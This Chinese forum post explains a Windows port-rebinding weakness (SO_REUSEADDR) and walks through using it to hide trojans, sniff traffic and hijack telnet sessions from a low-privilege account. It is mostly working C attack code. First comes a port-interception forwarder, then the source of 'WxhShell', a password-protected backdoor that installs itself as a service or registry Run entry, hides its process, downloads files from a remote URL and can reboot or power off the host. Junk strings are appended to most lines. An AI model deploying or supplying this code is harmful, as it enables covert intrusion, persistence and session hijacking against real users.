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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k/_8!^:'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A?IZ( Zx(`  
S`@6c$y k  
  saddr.sin_family = AF_INET; H8-D'q>R  
*M&VqG4P9w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3_\{[_W  
,> (bt%b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }x?H ~QQT  
V(2j*2R!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p37zz4  
,]uX:h-EM  
  这意味着什么?意味着可以进行如下的攻击: MO~~=]Y'  
..]*Ao2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +eBMn(7Cgv  
A!ioji+{[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) UGmuX:@y76  
:qAc= IC%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |ON&._`LH  
i,'Ka[6   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O| 1f^_S/  
Ac[|MBaF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^5;vx  
p<HTJ0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C,{F0-D  
XatA8(_,5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Cgz&@@j,]  
^$=tcoQG  
  #include e|b~[|;*=  
  #include "B9[cDM&  
  #include vr{'FMc  
  #include    5>ADw3z'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0Oc}rRH(C  
  int main() 3'[Rvy{  
  { vQK n=  
  WORD wVersionRequested; *U;4t/(  
  DWORD ret; DIG0:)4R.  
  WSADATA wsaData; Jtp>m?1Ve  
  BOOL val; [;?"R-V"z  
  SOCKADDR_IN saddr; jcEs10y  
  SOCKADDR_IN scaddr; f`hyYp`d5  
  int err; \-Iny=$  
  SOCKET s; 0~+NB-L}  
  SOCKET sc; R%b*EBZ  
  int caddsize; &r'{(O8$N  
  HANDLE mt; I%}L@fZ  
  DWORD tid;   8ji^d1G,  
  wVersionRequested = MAKEWORD( 2, 2 ); v}F4R $  
  err = WSAStartup( wVersionRequested, &wsaData ); aJ :A%+1  
  if ( err != 0 ) { Xr?>uqY!M  
  printf("error!WSAStartup failed!\n"); ='dLsh4P2N  
  return -1; 1 [Sv  
  } YVB% kKv{  
  saddr.sin_family = AF_INET; =PNdP  
   ]{IR&{EI-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lx{.H,1~  
;RWW+x8IB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8%o~4u3  
  saddr.sin_port = htons(23); lo+xo;Nd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `E3:;|  
  { p!+L  
  printf("error!socket failed!\n"); "_K}rI6(t  
  return -1; m<FF$pTT  
  } Dq/3E-y5  
  val = TRUE; 0LWdJ($?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1@A7h$1P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9?uqQ  
  { :O9P(X*  
  printf("error!setsockopt failed!\n"); koOyZ>  
  return -1; jrm0@K+<IA  
  } 2c}B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V~OUE]]Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O.*jR`l  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 XnBm`vk?V!  
O6y @G .+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sS, zzx<  
  { o"|O ]  
  ret=GetLastError(); .aNO( /kO  
  printf("error!bind failed!\n"); j#N(1}r=1  
  return -1; }*iAE>;  
  } r_Lu~y|  
  listen(s,2); luW <V>  
  while(1) 7dSh3f!  
  { (E!%v`_0  
  caddsize = sizeof(scaddr); W`#gpi)7N  
  //接受连接请求 xME(B@j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xN6?yr  
  if(sc!=INVALID_SOCKET) It%T7 X#  
  { o;3j:# 3 |  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fO*)LPen.z  
  if(mt==NULL) " Wp   
  { hIR@^\?  
  printf("Thread Creat Failed!\n"); qh%i5Mu  
  break; u\`/Nhn  
  } ~6p5H}'H1  
  } RNGO~:k?r  
  CloseHandle(mt); y k?SD1hj  
  } j7f5|^/x3  
  closesocket(s); BSN6|W  
  WSACleanup(); aT&t_^[]   
  return 0; 49o\^<4b  
  }   _zdNLwE[  
  DWORD WINAPI ClientThread(LPVOID lpParam) S#,+Z7  
  { s4 (Wp3>3i  
  SOCKET ss = (SOCKET)lpParam; ,1,&b_  
  SOCKET sc; <z,+Eg  
  unsigned char buf[4096]; J;S-+  
  SOCKADDR_IN saddr; (FuEd11R  
  long num; W+KF2(lB  
  DWORD val; +|6`E3j%  
  DWORD ret; O{~KR/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Gc wt7~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   FtE90=$  
  saddr.sin_family = AF_INET; ri:,q/-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); '}_=kp'X  
  saddr.sin_port = htons(23); _0K.Fk*(!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f6Ml[!aU  
  { =tq1ogE  
  printf("error!socket failed!\n"); ThtMRB)9  
  return -1; 6_WmCtvF  
  } mxgqS=`  
  val = 100; jDkm:X}:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -!l^]MU  
  { L ${m/@9  
  ret = GetLastError(); >zQNHSi  
  return -1; 6;gLwOeOHY  
  } 1t.R+1[c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6Z Xu,ks}  
  { x.ba|:5  
  ret = GetLastError(); l_6eI  
  return -1; z?)He)d  
  } ^CUSlnB\(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )#a7'Ba  
  {  7SaiS_{:  
  printf("error!socket connect failed!\n"); WVOoHH  
  closesocket(sc); 0Q7MM6  
  closesocket(ss); sdrWOq  
  return -1; )AI?x@  
  } "TfI+QgLF  
  while(1) !~)90Z!  
  { u\f3qc,]F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 })P O7:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 d .p'pGL  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 88+ =F XG  
  num = recv(ss,buf,4096,0); =5?.'XMk  
  if(num>0) ]w!0u2K<Q\  
  send(sc,buf,num,0); wqP2Gw7jh6  
  else if(num==0) G{+2x N a(  
  break; z|I0-1tAK  
  num = recv(sc,buf,4096,0); 1eHe~p ,  
  if(num>0) i3P9sdTD  
  send(ss,buf,num,0); 6|5H=*)DH  
  else if(num==0) `^x9(i/NE  
  break; )&:L'N  
  } Jld\8=  
  closesocket(ss); 1 DqX:WM6  
  closesocket(sc); ~g7m3  
  return 0 ; KzNm^^#/$A  
  } { D+Ym%n  
Z|I-BPyn  
_%B/!)v  
========================================================== ^^U%cuKg  
pM9yOY  
下边附上一个代码,,WXhSHELL ;}K62LSR  
-%,"iaO  
========================================================== >La><.z~  
,5{$+  
#include "stdafx.h" 'C^;OjAg  
%m`zWg-  
#include <stdio.h> GJ,a RI  
#include <string.h> 'OD) v  
#include <windows.h> h)cY])tGtK  
#include <winsock2.h> :b@igZ<  
#include <winsvc.h> 0q#"clw  
#include <urlmon.h> n1,S_Hs  
JRY_ nX  
#pragma comment (lib, "Ws2_32.lib") :RiF3h(  
#pragma comment (lib, "urlmon.lib") FshC )[w,  
2 x32U MD  
#define MAX_USER   100 // 最大客户端连接数 e>AXXUEf  
#define BUF_SOCK   200 // sock buffer |@wyC0k!  
#define KEY_BUFF   255 // 输入 buffer @^&7$#jq%  
mlB~V3M'G  
#define REBOOT     0   // 重启 moZm0` WR  
#define SHUTDOWN   1   // 关机 Om9jtWk  
!),t"Ae?>  
#define DEF_PORT   5000 // 监听端口 to`mnp9Z  
RgZOt[!.  
#define REG_LEN     16   // 注册表键长度 Hhl-E:"H`  
#define SVC_LEN     80   // NT服务名长度 +D`*\d1  
MA* :<l  
// 从dll定义API -ihiG_f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Skxd<gv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $(rc/h0/E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2+Yb 7 uI,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p0VUh!  
#K|9^4jt  
// wxhshell配置信息 w7 *V^B  
struct WSCFG { )/>A6A:  
  int ws_port;         // 监听端口 A gWPa.'3  
  char ws_passstr[REG_LEN]; // 口令 +qy6d7^  
  int ws_autoins;       // 安装标记, 1=yes 0=no U\vY/6;JI  
  char ws_regname[REG_LEN]; // 注册表键名 g`[$Xi R  
  char ws_svcname[REG_LEN]; // 服务名 IPtvuEju\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >{nH v)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l'"'o~MC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v0LGdX)/Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FnE6?~xa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G3a7`CD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wxdyF&U n  
24B<[lSK  
}; iKAusWj  
WD.U"YI8y  
// default Wxhshell configuration `q_<Im%I  
struct WSCFG wscfg={DEF_PORT, gKi{Y1  
    "xuhuanlingzhe", HID([Wk  
    1, bK*~ol  
    "Wxhshell", ^RNOcM|  
    "Wxhshell", S|AjL Ng#  
            "WxhShell Service", kO_5|6  
    "Wrsky Windows CmdShell Service", L l}yJ#3,  
    "Please Input Your Password: ", K 1W].(-@4  
  1, KY.ZT2k  
  "http://www.wrsky.com/wxhshell.exe", 76@qHTh }  
  "Wxhshell.exe" Gu;OV LR|  
    }; z9 ($.  
uM S*(L_  
// 消息定义模块 sn{tra  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L0"~[zB]N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (CE7j<j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MKg,!TELe  
char *msg_ws_ext="\n\rExit."; N+g@8Q2s;5  
char *msg_ws_end="\n\rQuit."; goZ V.,w  
char *msg_ws_boot="\n\rReboot..."; 6q/ ?-Qcy  
char *msg_ws_poff="\n\rShutdown..."; :dwt1>  
char *msg_ws_down="\n\rSave to "; e.vtEQV9  
lr3mE  
char *msg_ws_err="\n\rErr!"; d%ME@6K)  
char *msg_ws_ok="\n\rOK!"; Hj6'pJ4  
lm0N5(XP  
char ExeFile[MAX_PATH]; Tv$sqVe9  
int nUser = 0; h"W8N+e\  
HANDLE handles[MAX_USER]; L:R<e#kgS  
int OsIsNt; \?lz&<  
5v _P Oq  
SERVICE_STATUS       serviceStatus; fZ{[]dn[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |FNCXlgZ  
!#N\ b  
// 函数声明 N#k61x  
int Install(void); m9":{JI.w  
int Uninstall(void); Im?LIgt$  
int DownloadFile(char *sURL, SOCKET wsh); 'EhBRU%  
int Boot(int flag); 7~UR!T9  
void HideProc(void); 'i|rj W(  
int GetOsVer(void); DuF"*R~et  
int Wxhshell(SOCKET wsl); {hdPhL  
void TalkWithClient(void *cs); ~Xv=9@,h  
int CmdShell(SOCKET sock); `I;F$`\  
int StartFromService(void); K5 KyG  
int StartWxhshell(LPSTR lpCmdLine); bGmx7qt#  
U[\Vj_?(I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j*R,m1e8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jvwwJ<K  
P'$ `'J]j  
// 数据结构和表定义 (z7+|JE.  
SERVICE_TABLE_ENTRY DispatchTable[] = k%81f'H  
{ s0"e'  
{wscfg.ws_svcname, NTServiceMain}, `V!>J 1x  
{NULL, NULL} @N.jB#nEb  
}; 5iX! lAFJ  
q3w1GD  
// 自我安装 U1R4x!ym4  
int Install(void) xge7r3i  
{ nt :N!suP3  
  char svExeFile[MAX_PATH]; G}zZQy  
  HKEY key; 1KE:[YQ1  
  strcpy(svExeFile,ExeFile); _aS;!6b8W  
F"jt&9jg  
// 如果是win9x系统,修改注册表设为自启动 7jG(<!,  
if(!OsIsNt) { ,H kj1x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CI7A# 6-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X$n(-65  
  RegCloseKey(key); 4=<*Vd`p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `` K#}3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kUl  
  RegCloseKey(key); MgMD\  
  return 0; 1NLg _UBOK  
    } YTaLjITG  
  } L,_.$1d  
} t0E51Ic@  
else { bn9;7`>.  
*f+: <=i  
// 如果是NT以上系统,安装为系统服务 GZ#aj|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X` YwP/D  
if (schSCManager!=0) KLWDo%%u  
{ (R}ii}&  
  SC_HANDLE schService = CreateService eVh - _  
  ( Sus;(3EX  
  schSCManager, A<MtKb  
  wscfg.ws_svcname, f>$``.O  
  wscfg.ws_svcdisp, Wd,a?31|  
  SERVICE_ALL_ACCESS, 2tQ`/!m>v$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )6X.Nfkb^k  
  SERVICE_AUTO_START, -7qIToO.  
  SERVICE_ERROR_NORMAL, aoW6U{\  
  svExeFile, Yl cbW0'c  
  NULL, ed!>)Cb  
  NULL, V A^l+Z,d  
  NULL, pW\'Z Rj  
  NULL, es:2M |#O  
  NULL 6QQfQ,  
  ); tOl e>]  
  if (schService!=0) u{H?4|'(  
  { !  NV#U  
  CloseServiceHandle(schService); kSncZ0K{  
  CloseServiceHandle(schSCManager); j Ch=@<9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q4]4@96Aj  
  strcat(svExeFile,wscfg.ws_svcname); {Tp2H_EG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6=GZLpv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q 9F)  
  RegCloseKey(key); `TLzVB-j3  
  return 0; {tP%epQ  
    } B2=\2<  
  } / +K?  
  CloseServiceHandle(schSCManager); WN]<q`.  
} ' I}: !Z  
} Rqip kx  
tfO#vw,@  
return 1; q>!L6h5]t  
} i^`9syD  
/! ajsn  
// 自我卸载 F'RUel_%  
int Uninstall(void) =3xE:  
{ 7E$&2U^Js  
  HKEY key; iP@6hG`:  
pL1i|O  
if(!OsIsNt) { hf6f.Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <=K qc Hb  
  RegDeleteValue(key,wscfg.ws_regname); 6 ,ANNj  
  RegCloseKey(key); _u0$,Y?&|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _o3e]{  
  RegDeleteValue(key,wscfg.ws_regname); &?,U_)x/  
  RegCloseKey(key); A;XOT6jv?  
  return 0; ~:4kU/]  
  } -NGK@Yk22  
} ?i\;:<e4  
} uYI@ 9U  
else { }ET,ysa  
,~PYt*X4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;U =q-tb  
if (schSCManager!=0) $m$;v<PSe  
{ Tb;d.^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); upn~5>uCP  
  if (schService!=0) \ gwXH  
  { J97R0  
  if(DeleteService(schService)!=0) { &n2e  
  CloseServiceHandle(schService); "Y: /= Gx  
  CloseServiceHandle(schSCManager); z`Wt%tL(  
  return 0; oih5B<&f#  
  } dIwe g=x  
  CloseServiceHandle(schService); t:~t@4j}  
  } TA18 gq  
  CloseServiceHandle(schSCManager); LwqC ~N  
} "d/s5sP|S  
} jR ~DToQ  
!v|ISyK  
return 1; F?+3%>/A @  
} {BBw$m,o  
RrrK*Fk8=  
// 从指定url下载文件 unl1*4e+  
int DownloadFile(char *sURL, SOCKET wsh) K]oM8H1  
{ ^y.nDs%ZT7  
  HRESULT hr; C2U~=q>>  
char seps[]= "/"; rt-\g1x  
char *token; &$FvWFRh#  
char *file; 4p`XG1Pt  
char myURL[MAX_PATH]; #EO1`9f48x  
char myFILE[MAX_PATH]; jjs&`Fy,  
G`h+l<  
strcpy(myURL,sURL); 'vV$]/wBF  
  token=strtok(myURL,seps); jF ^5}5U  
  while(token!=NULL)  }alj[)  
  { <~emx'F|  
    file=token; }3 m0AQ;K  
  token=strtok(NULL,seps); [onqNp  
  } vE, 37  
\kIMDg3}  
GetCurrentDirectory(MAX_PATH,myFILE); @`"AHt  
strcat(myFILE, "\\"); ]DG?R68DQ  
strcat(myFILE, file); >Q E{O.Z  
  send(wsh,myFILE,strlen(myFILE),0); ^ZeJ[t&!#  
send(wsh,"...",3,0); NLd``=&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }-p[V$:S  
  if(hr==S_OK) f'(l&/4z{  
return 0; GOy%^:Xd  
else 1MsWnSvzf  
return 1; k8nLo.O  
yTM3^R(  
} t@oK~ Nr  
`iKj  
// 系统电源模块 * A|-KKo\  
int Boot(int flag) V\~WvV  
{ oP?YA-#nc  
  HANDLE hToken; OKOu`Hz@  
  TOKEN_PRIVILEGES tkp; yoe}$f4  
imL_lw^?  
  if(OsIsNt) { r`\A nT?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mg:!4O$K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iTo k[uJ}  
    tkp.PrivilegeCount = 1; `s#Hq\C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m`? MV\^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A~ (l{g  
if(flag==REBOOT) { 2(!fg4#+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KU9Z"9#  
  return 0; Rf %HIAVE  
} hjx)D  
else { NtGn88='{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cS .i  
  return 0; E4.SF|=x  
} Bvjl-$m!v  
  } F51.N{'  
  else { C_fY %O  
if(flag==REBOOT) { q6P wZ_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hIv@i\`  
  return 0; ( n{wg(R  
} pI[ZBoR~  
else { ,3DXFV'uxb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Fig&&b a  
  return 0; `D5HC  
} I3S9Us-\  
} oS,I~}\kQ  
NVV}6TUV  
return 1; '(&%O8Yi  
} JWP*>\P  
;!@EixN-YH  
// win9x进程隐藏模块 =ziwxIo6  
void HideProc(void) U!w1AY|  
{ nQK|n^AU/  
hv$yV%.`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m#H3:-h,  
  if ( hKernel != NULL ) 4A`NJ  
  { -|yb[~3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AF,BwLN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HG >j5  
    FreeLibrary(hKernel); Br>Fpe$q4  
  } 4b]a&_-}  
yI{5m^s{  
return; _A_ A$N~9  
} p\v Mc\  
2 -!L _W(  
// 获取操作系统版本 Ft JjY@#  
int GetOsVer(void) M&Y .;  
{ 9~IQw#<  
  OSVERSIONINFO winfo; 0"k |H&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [p r"ZQ]  
  GetVersionEx(&winfo); Y]`.InG@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6qvp*35Cx  
  return 1; E9! N>0  
  else s=I'e/"7  
  return 0; \g)Xt?w0Wo  
} bBxw#_3A?E  
G`=r^$.3WB  
// 客户端句柄模块 9<CG s3\  
int Wxhshell(SOCKET wsl) "v*8_El  
{ 1[nG}  
  SOCKET wsh; ]Al;l*yw  
  struct sockaddr_in client; k5d\ w@G"~  
  DWORD myID; &.i^dO^}  
IputF<p  
  while(nUser<MAX_USER) v]:=K-1n  
{ =8 G&3 R  
  int nSize=sizeof(client); BG2)v.CU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vW,snxK6y&  
  if(wsh==INVALID_SOCKET) return 1; %5Kq^]q;Y  
4R +.N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v *hRz;  
if(handles[nUser]==0) c/W=$3  
  closesocket(wsh); RWq{Ff}Hk  
else /G{_7cb  
  nUser++; JwnAW}=  
  } P3tx|:gV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TTNk r`  
&(rWwOo6  
  return 0; ri~<~oB 2:  
} p 5u_1U0  
jLg@FDb~  
// 关闭 socket z;u> Yz+3  
void CloseIt(SOCKET wsh) )(Iy<Y?#  
{ C2e.2)y  
closesocket(wsh); F-Z%6O,2  
nUser--; .?C%1a&_l  
ExitThread(0); $e%2t^ i.g  
} lw%?z/HDf  
3-s}6<0v1  
// 客户端请求句柄 r WtZj}A  
void TalkWithClient(void *cs) uw\1b.r'B  
{ -!qu"A:  
R_P}~l  
  SOCKET wsh=(SOCKET)cs; .o{0+fC#  
  char pwd[SVC_LEN]; -XoPia2  
  char cmd[KEY_BUFF]; pI`?(5iK6|  
char chr[1]; ~.Ik#At  
int i,j; G* %t'jX9  
wl=61 Mb  
  while (nUser < MAX_USER) { tEd.'D8 s  
sf} Dh  
if(wscfg.ws_passstr) { k4J8O3E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JD>d\z2QC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ Mg8/Oy  
  //ZeroMemory(pwd,KEY_BUFF); 2pHR_mrb  
      i=0; ,n,RFa  
  while(i<SVC_LEN) { UK#&lim  
1xyU  
  // 设置超时 W3W'oo  
  fd_set FdRead; }`VDD?M  
  struct timeval TimeOut; ^yviV Y  
  FD_ZERO(&FdRead); 4] > ]-b  
  FD_SET(wsh,&FdRead); eS/B24;*  
  TimeOut.tv_sec=8; $ 0|a;  
  TimeOut.tv_usec=0; aAvsb$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0x2!<z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A?5E2T1L%.  
4S0>-?{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F7m?xy  
  pwd=chr[0]; ge3sU5iZ  
  if(chr[0]==0xd || chr[0]==0xa) { >r/rc`Q  
  pwd=0; XhzGLYb~I`  
  break; txql 2  
  } HY;o ^drd  
  i++; cNpe_LvW  
    } 4o:hyh   
R$kpiqK  
  // 如果是非法用户,关闭 socket ;#GoGb4AM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NMO-u3<6.  
} w JwX[\  
$Kj&)&M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fBtm%f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8{U-m0v  
~%u|[$  
while(1) { $S*4r&8ZD  
hlZ@Dq%f  
  ZeroMemory(cmd,KEY_BUFF); UAF<m1  
$$Vt7"F  
      // 自动支持客户端 telnet标准   _;A $C(  
  j=0; tqPx$s  
  while(j<KEY_BUFF) { Nb2Qp K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9&%fq)gS  
  cmd[j]=chr[0]; a\uie$"cr]  
  if(chr[0]==0xa || chr[0]==0xd) { /T^ JS  
  cmd[j]=0; F,Xo|jjj  
  break; ek aFN\  
  } cR-~)UyrO  
  j++; Ax3W2s  
    } )Ag/Qep  
!;@_VWR  
  // 下载文件 9ILIEm:  
  if(strstr(cmd,"http://")) { tHD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `+lHeLz':  
  if(DownloadFile(cmd,wsh)) 6< J #^ 6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YO{GU7  
  else m^%|ZTrwN7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9_ICNG%  
  } $DFv30 f  
  else { rR ES8/  
XB hb`AG  
    switch(cmd[0]) { @Fv=u  
  T@wcHg  
  // 帮助 :Br5a34q  
  case '?': { <O?y-$~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;cQW sTfT  
    break; O u>u %  
  } q+SD6qM  
  // 安装 1PaUI#X"2F  
  case 'i': { A \rt6/  
    if(Install()) <HWS:'1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gIWrlIV{9  
    else mAgF73,3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J`M&{UP  
    break; |XYEn7^r  
    } JN/UUfj  
  // 卸载 ?q`0ZuAg\<  
  case 'r': { \2[<XG(^  
    if(Uninstall()) TG48%L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \u-0v.+|  
    else Mj>}zbpk /  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); js^ ,(CS  
    break; ~Vh(6q.oT  
    } .Hhhi  
  // 显示 wxhshell 所在路径 F+UG'4%  
  case 'p': { W^,S6!  
    char svExeFile[MAX_PATH]; }*]B-\>  
    strcpy(svExeFile,"\n\r"); v1U?&C  
      strcat(svExeFile,ExeFile); .%EL\2  
        send(wsh,svExeFile,strlen(svExeFile),0); Rx07trfN  
    break; =*BIB5  
    } { kSf{>Ia  
  // 重启 Mpue   
  case 'b': { Mvj;ic6iK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H?1xjY9sl  
    if(Boot(REBOOT)) MmPU7Nl%X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _3iHkQr  
    else { #H [Bb2(j  
    closesocket(wsh); 72W,FU~OD  
    ExitThread(0); EqiFy"H  
    } O-vGyNxP|  
    break; sML=5=otx  
    } =d 2r6%v  
  // 关机 MfF~8  
  case 'd': { #$~ba %t9%  
